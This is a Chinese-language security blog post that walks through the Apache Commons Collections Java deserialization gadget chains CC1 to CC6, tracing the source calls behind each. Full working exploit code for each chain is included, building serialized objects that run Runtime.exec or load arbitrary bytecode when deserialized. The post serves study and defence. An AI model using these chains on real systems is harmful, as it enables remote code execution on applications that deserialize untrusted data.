Java安全 - CommonsCollections链 全系列详解

前言

emmm首先这篇文章是跟着@白日梦组长学的,是在自己有一定的Java审计和Java反序列化的基础上重新回顾(其实我已经看了好几遍了,每次看的感觉都不一样,故自己再次总结一下CC的全系列),其实归根来说,CC系列其实就是一个链子的排列组合,从我最后的图可以看出,其实就是一个迷宫,完美的诠释了什么叫条条大路通罗马​的含义,这里就对反序列化和一些基础知识就不过多赘述,目的就是为了让我忘记CC的时候看我这篇博客可以完全想起来CC到底是怎么个事,文章顺序是跟组长一样的,因为他安排的已经非常到位了

CC1

CC1有两条 分别是 TransformedMap​ 跟LazyMap

环境配置如下

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

TransformedMap

InvokerTransformer​​​

作者是先从 commons-collections-3.2.1.jar!\org\apache\commons\collections\Transformer​在这里找到了一个接口 Transformer​ 他接受一个Object的传参,并且返回的也是Object,而他的实现类都在\commons-collections-3.2.1.jar!\org\apache\commons\collections\functors​(这是commons-collections​自定义的一组功能类)

作者找到了InvokerTransformer​这个实现类中的transform​方法可以任意方法调用的写法

image

如何调用呢?其实也很简单,先弹个计算器

1
2
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
invokerTransformer.transform(Runtime.getRuntime());

image

那么我们找到了危险函数,我们就往上找谁去能够调用transform​并且是可以传入可控的Object对象的

TransformedMap​​​

作者就找到了org\apache\commons\collections\map\TransformedMap​类中的checkSetValue​方法是接收Object​对象并且调用了transform​方法,并且是protected​属性

image

那么聪这个函数来看有颜色变换而且现在来看并不知道valueTransformer​是啥,所以我们先去看一下这个函数的构造方法

image发现是传入Map map, Transformer keyTransformer, Transformer valueTransformer​ 三个参数,并且把参数给到this.valueTransformer​ 但是这里由于是protected​属性,所以再去找一下是自己在哪里调用了自己

发现存在一个静态方法decorate​,也是传入三个参数直接传入到构造方法中,那么我们从上面的代码进行修改一下看能否调用

image

1
2
3
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
// invokerTransformer.transform(Runtime.getRuntime());
HashMap<Object, Object> map = new HashMap<>();

image

AbstractInputCheckedMapDecorator​​​

发现已经赋值了,那我们就看看如何调用这个protected​属性的checkSetValue

于是作者找到了 commons-collections-3.2.1-sources.jar!\org\apache\commons\collections\map\AbstractInputCheckedMapDecorator.java#setValue

image

这里要搞清楚这个类的逻辑,

AbstractInputCheckedMapDecorator​ 这个类其实是TransformedMap​的父类

image

并且这个setValue​方法是在一个静态类MapEntry​里头的

image

搞清楚逻辑后,其实这个MapEntry​ 就是遍历Map的键值对的一个静态类,在以下代码中就会触发他的方法(其实就是重写了Map#setvalue​方法)

1
2
3
for (Map.Entry entry:transformedMap.entrySet()){
entry.setValue("aaa");
}

那其实就可以得到,只要去对这个键值对进行setValue​方法即可触发

image

所以现在只要把我们的Runtime对象传入到value值即可触发任意方法调用

1
2
3
4
5
6
7
8
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
Runtime r = Runtime.getRuntime();
HashMap<Object, Object> map = new HashMap<>();
map.put("q","q");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
for (Map.Entry entry:transformedMap.entrySet()){
entry.setValue(r);
}

image

那么我们后半条链子就连起来了,接下来就是去找哪个地方是存在Entry​的遍历的,并且可以把对象传入的点

AnnotationInvocationHandler​​​

作者就找到了jdk1.8.0_65\src\sun\reflect\annotation\AnnotationInvocationHandler.java​ 中的 readObject​ 方法是调用了setValue​ ,那么其实已经找到readObject​就非常好可以进行串联了

image

那我们来看一下他的构造方法

image

也很简单,就是传一个注解和一个Map类,又因为他不是public类,所以必须得用反射去实例化他,那么就其实挺简单,就反射区实例化他即可,然后把我们设计好的Entry​传给他即可

1
2
3
4
Class c =  Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cl = c.getDeclaredConstructor(Class.class,Map.class);
cl.setAccessible(true);
cl.newInstance(Override.class,transformedMap);

但是这里仍然存在几个问题

  • Runtime​对象是不可以序列化的,需要用反射进行序列化
  • setValue​方法的参数貌似不可控
  • 有两个if判断需要进去

先解决第一个问题 如何让Runtime​对象可以序列化

因为Class类是可以反序列化的,所以只要让Runtime​为Class类并且调用其方法即可

image

他是存在getRuntime​的静态方法的,所以可以直接调用

1
2
3
4
5
6
//        Runtime.getRuntime().exec("calc");
Class r = Runtime.class;
Method m = r.getMethod("getRuntime",null);
Runtime o = (Runtime) m.invoke(null,null); // 注意这里是getRuntime()的无参构造
Method m1 = r.getMethod("exec",String.class);
m1.invoke(o,"calc");

那第一个问题就解决了,那么接下来就是通过InvokerTransformer​的反射来吧这个反射重写一遍

1
2
3
4
Class r =  Runtime.class;
Method m = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(r);
Runtime o = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(m);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(o);

这样就写好了,但是可以发现这里是前一个接收的对象作为后一个transform方法的输入

所以作者又找到了一个类 ChainedTransformer

构造方法就是传一个Transformer​类的数组

image

然后这个类的transform​方法就会进行一个链式调用

image

那么我可以定义一个Transformer​的数组然后将InvokerTransformer​的发射链式调用写进去然后去触发其transform​方法即可

1
2
3
4
5
6
7
8
9
Class r =  Runtime.class;
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})} ;

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(r);

那么现在就剩下两个问题了

我们跟进去看如何去保证两个If语句都进入呢

image

首先第一个if是比较容易过的,因为他要去找AnnotationInvocationHandler​传进来的注解的成员变量,要存在并且map的key可以找到他的成员变量即可,所以做出以下修改

image

第二个if就直接过就行了,所以最后的问题就是这一句话

1
memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]")

那是不是这个传入的东西不可控了呢?

这里作者再次找到了一个实现类ConstantTransformer

他的transform​方法就是一句话 传入什么都返回常量,那我无所谓value的值,只需要在

image

那如果返回的常量是Runtime.class​就可以进行传入了

整条链子就结束了 exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class Main {

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos =new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}


public static void main(String[] args) throws Exception {

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})} ;

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
map.put("value","aaa");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cls = c.getDeclaredConstructor(Class.class,Map.class);
cls.setAccessible(true);
Object o = cls.newInstance(Target.class,transformedMap);

serialize(o);
unserialize("ser.bin");

}
}

我们来回顾一下这条链子,从正向调过去

1
2
3
4
5
反序列化#readObject->
AnnotationInvocationHandler#readObject(存在setValue)
MapEntry#setValue(存在checkSetValue)
transformedMap#checkSetValue(存在transform)
InvokerTransformer.transform(就可以调用任意方法执行任意操作)
                                                    ![image](https://zjacky-blog.oss-cn-beijing.aliyuncs.com/blog/202312111540200.png)​

LazyMap​​

在调用transform​ 方法中,LazyMap#get()​也调用了

image

但这里存在个条件

  1. key要为空

然后就会调用factory​的transform​,那factory​咋来的呢?

可以看看他的静态方法和构造器

image

image

可以明显看出 就是构造的时候传进去Transformer​类即可

所以可以构造如下代码

1
Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);

那么往上找一下谁调用了get()​方法并且可以传值为Object

于是作者找到了AnnotationInvocationHandler#invoke​方法调用了get​方法

image

又因为这个是invoke​方法,所以可以想到如果传入的是一个动态代理,并且调用的这个处理器类就可以默认去执行他的invoke​方法,所以其实也很清晰,就是通过传入一个代理类然后去调用一个方法即可触发这个代理调用处理器的invoke​方法,那么这里的invoke​是有几个条件的

  1. 不能调用equals
  2. 无参方法

结果readObject()​中真的就存在一个不受限制的无参方法entrySet

image

所以这里就可以写exp了,将我们代理类以Map类传入,就可以走通了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})} ;

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cls = c.getDeclaredConstructor(Class.class,Map.class);
cls.setAccessible(true);
InvocationHandler h = (InvocationHandler) cls.newInstance(Override.class,lazyMap);

Map maproxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);

Object o = cls.newInstance(Override.class,maproxy);

serialize(o);
unserialize("ser.bin");

image

这里来解释一下为什么代理Map和实例化两个 因为我们可以看到两个membervalue

第一个实例化对象是把Map给到readObject的Map.Entry​来调用entrySet​,第二个实例化对象是通过调用entrySet​来触发动态代理的invoke​方法

image

CC6

他是不受JDK版本的限制的

CC6其实就是CC1的LazyMap​后半段+前半段是HashMap

链子也很简单 作者从HashMap中发现了如下东西

1
2
3
4
HashMap#readObject
TiedMapEntry#hashcode
LazyMap#get
InvokerTransformer.transform(就可以调用任意方法执行任意操作)

先看TiedMapEntry​的构造方法比较简单直接传map跟key即可

image

所以简单就可以构造出来,这里先放序列化就可以调用calc的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})} ;

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);


TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aa");
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry, "bbb");

serialize(map2);

为啥呢,从URLDNS链也可以知道 ,HashMap#put()​方法也是可以触发hashcode​的,所以我们还需要用反射的方式去修改点属性让他反序列化出来也没问题

所以可以先让他put进去的时候是空的,然后put完去序列化的时候通过反射再给他赋值

image

但是这里反序列化还是不会执行,为什么呢?通过调试我们发现他在LazyMap#get()​方法的时候最后会把key return回去

image

那也就是说在put方法之后我们去把这个key给remote​掉就好了

最终exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})} ;

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantFactory(1));


TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aa");
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry, "bbb");
lazyMap.remove("aa");

Class c = LazyMap.class;
Field factoryfield = c.getDeclaredField("factory");
factoryfield.setAccessible(true);
factoryfield.set(lazyMap,chainedTransformer);

serialize(map2);
unserialize("ser.bin");

image

CC3

CC3其实后半段就是动态类加载,其实就是跟Fastjson​的<=1.2.24的Jdk7u21链子是一样的,(因为我先学了fastjson)

TemplatesImpl链

TemplatesImpl.TransletClassLoader#defineClass()​​

因为要找defineclass​重写过的方法,所以这条链子的作者在rt.jar​中找到了defineClass com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.TransletClassLoader.defineClass()

image

TemplatesImpl#defineTransletClasses()​​

但是在实际场景中,因为defineClass方法作用域却是不开放的(就是并不是public方法,所以需要找谁去调用了他),所以我们很很难直接利用到它所以我们要去找谁调用了这个defineClass​函数 ,于是找到了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses()

image

TemplatesImpl#getTransletInstance()​​

再往上找看哪里是public​属性的方法调用了他,并且在上述方法中是对字节码进行了加载,并没有初始化,所以要找到链子的某个地方进行了初始化并且最终的入口方法是public方法,最后作者在这里找到了

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance()

image

image

可以看到在加载了_class​属性后进行了.newInstance()​初始化,完全符合我们的要求

但是他仍然是私有方法

TemplatesImpl#newTransformer()​​

所以继续往上找于是找到了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer()

image

所以我们先来写一个demo(因为_tfactory​在反序列化的时候会自动实例化赋值,但是直接调用并不会所以这里写demo的时候需要自行加上才能执行成功)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);

byte[] code = Files.readAllBytes(Paths.get("E:\\Java_project\\Serialization_Learing\\target\\classes\\Test.class"));
byte[][] codes = {code};

bytecodesField.set(templates, codes);
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "test");
Field _tfField = tc.getDeclaredField("_tfactory");
_tfField.setAccessible(true);
_tfField.set(templates, new TransformerFactoryImpl());
templates.newTransformer();

这里有个要注意的点

  • 455行会去进行强制类型转换为AbstractTranslet​类,那我们是不是要传该类进来呢?

image

image

在这个地方他会去判断这个父类是否为 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

所以加载的字节码文件要是集成了com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet​这个的类

  • 这里 _bytecodes​ 不能为空

image

image

那么后半段执行代码的点就可以修改了,其实跟CC1基本都不变,只是修改了一下执行代码的形式,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("E:\\Java_project\\Serialization_Learing\\target\\classes\\Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "test");
Field _tfField = tc.getDeclaredField("_tfactory");
_tfField.setAccessible(true);
_tfField.set(templates, new TransformerFactoryImpl());

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cls = c.getDeclaredConstructor(Class.class,Map.class);
cls.setAccessible(true);
InvocationHandler h = (InvocationHandler) cls.newInstance(Override.class,lazyMap);

Map maproxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);

Object o = cls.newInstance(Override.class,maproxy);

serialize(o);
unserialize("ser.bin");

上述其实是去找谁去调用了newTransformer()​导致可以连接上动态类加载的TemplatesImpl​链,所以想到了InvokerTransformer​当中的类似反射的代码来完成调用但是如果InvokerTransformer​被ban了,才到真正的CC3 ,因为是绕过了InvokerTransformer​的限制,采用了另一条链子

作者继续往上跟看谁调用了newTransformer()​,于是找到了com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.java

image

TrAXFilter​这个类是直接传入Templates类后调用的构造方法就调用了newTransformer()​方法,也就是说只要找到一个地方可以调用TrAXFilter​他的构造方法 ,就可以成功连接上动态类加载的后半条链子了

于是作者找到了\commons-collections-3.2.1.jar!\org\apache\commons\collections\functors\InstantiateTransformer.java

看一下他的transform​方法

image

那么我们就可以根据其构造方法去构造,然后通过之前的办法去调用其transform​即可全部连接起来

image

写出以下demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("E:\\Java_project\\Serialization_Learing\\target\\classes\\Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "test");
Field _tfField = tc.getDeclaredField("_tfactory");
_tfField.setAccessible(true);
_tfField.set(templates, new TransformerFactoryImpl());

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);

这样其实就可以调用TrAXFilter​的构造方法了,那么现在就是去整条链子串起来即可

最后exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("E:\\Java_project\\Serialization_Learing\\target\\classes\\Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "test");

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cls = c.getDeclaredConstructor(Class.class,Map.class);
cls.setAccessible(true);
InvocationHandler h = (InvocationHandler) cls.newInstance(Override.class,lazyMap);
Map maproxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);
Object o = cls.newInstance(Override.class,maproxy);

其实就是利用了InstantiateTransformer​可以执行构造方法拼接了一下后续的动态类加载这样的思路

image

CC4

从CC4开始就要换依赖了

1
2
3
4
5
6
7
8
9
10
11
12
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
</dependencies>

TransformingComparator#compare()​​​

其实在CC4中也是没有变化太多,而是新引入了一个CC4的包,跟原来CC1的包进行了拼接,那么作者其实是在CC4的包中去寻找调用transform​方法的类,在

commons-collections4-4.0.jar!\org\apache\commons\collections4\comparators\TransformingComparator#compare()​中找到了调用transform​方法

image

这里也是说的很模糊,反正就是看谁去调用了这个compare​方法,于是找到了

PriorityQueue#siftDownUsingComparator()​​​

jdk1.8.0_65\src.zip!\java\util\PriorityQueue#siftDownUsingComparator()​调用了compare​方法

image

再往上跟就是谁去调用了siftDownUsingComparator​ ,找到的是 jdk1.8.0_65\src.zip!\java\util\PriorityQueue#siftDown

image

继续往上跟 找到的是 jdk1.8.0_65\src.zip!\java\util\PriorityQueue#heapify()

image

PriorityQueue#readObject()​​​

继续往上跟 就是jdk1.8.0_65\src.zip!\java\util\PriorityQueue#readObject()

image

至此就跟到readObject​结束了,所以只需要一个入口类去触发这个readObject​方法即可传入,那么接下里就是构造EXP了

这里有几个要注意的点

  • 这里的site​必须为两个否则进不去这个siftDown​方法中

image

  • 其实他在add​方法的时候也会去调用compare​方法,所以跟URLDNS或者CC3一样都要去反射把值修改一下

  • CC4跟CC3的包其实更新了一个版本后在TransformingComparator​中是有改变的,在CC4中这个类继承了Serializable​接口导致可以序列化

image

而在CC3中是并没有进行序列化的继承的

image

最后的EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("E:\\Java_project\\Serialization_Learing\\target\\classes\\Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "test");

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);


TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

priorityQueue.add(templates);
priorityQueue.add(2);

Class c = transformingComparator.getClass();
Field transformingComparatorfield = c.getDeclaredField("transformer");
transformingComparatorfield.setAccessible(true);
transformingComparatorfield.set(transformingComparator,chainedTransformer);

serialize(priorityQueue);
unserialize("ser.bin");

CC2

一样要依赖于CC4 这里跳了一下直接走了TemplatesImpl#newTransformer()​去动态加载类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("E:\\Java_project\\Serialization_Learing\\target\\classes\\Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "test");

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});


InvokerTransformer<Object,Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});

TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

priorityQueue.add(templates);
priorityQueue.add(2);

Class c = transformingComparator.getClass();
Field transformingComparatorfield = c.getDeclaredField("transformer");
transformingComparatorfield.setAccessible(true);
transformingComparatorfield.set(transformingComparator,invokerTransformer);

serialize(priorityQueue);
unserialize("ser.bin");

CC5

CC5其实也是一种排列组合,就是作者在TiedMapEntry​中还找到了toString​方法也可以调用LazyMap#get()

image

都是一样的

所以去找了一下谁去调用了toString​方法 找到了\src.zip!\javax\management\BadAttributeValueExpException.java

image

那么也是拼接到LazyMap#get()​就好了

由于这里组长并没有给出EXP,在自己有一定的理解情况下补充一下

一开始我打算直接加入这一行代码就可以完成逻辑了

1
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(tiedMapEntry);

但是发现并没有成功,所以继续断点看看

image

发现这个valObj​是String型的,所以得要用反射去把这个值修改为TiedMapEntry#ToString​即可

最后修改为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
     Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})} ;

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantFactory(1));


TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "qq");
lazyMap.remove("qq");

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class b = badAttributeValueExpException.getClass();
Field bfield = b.getDeclaredField("val");
bfield.setAccessible(true);
bfield.set(badAttributeValueExpException,tiedMapEntry);


Class c = LazyMap.class;
Field factoryfield = c.getDeclaredField("factory");
factoryfield.setAccessible(true);
factoryfield.set(lazyMap,chainedTransformer);

// serialize(badAttributeValueExpException);
unserialize("ser.bin");

总结

其实CC的精髓,就是去找谁的readObject​可以传任意调用对象,并且可以走到 transform​里头来进行动态类加载或者任意方法调用

最后附上CC的结构图 我个人觉得还是画得比较清晰的

image


Java安全 - CommonsCollections链 全系列详解
https://zjackky.github.io/post/commonscollections-full-series-of-detailed-explanations-1ssdo3.html
作者
Zjacky
发布于
2023年12月11日
许可协议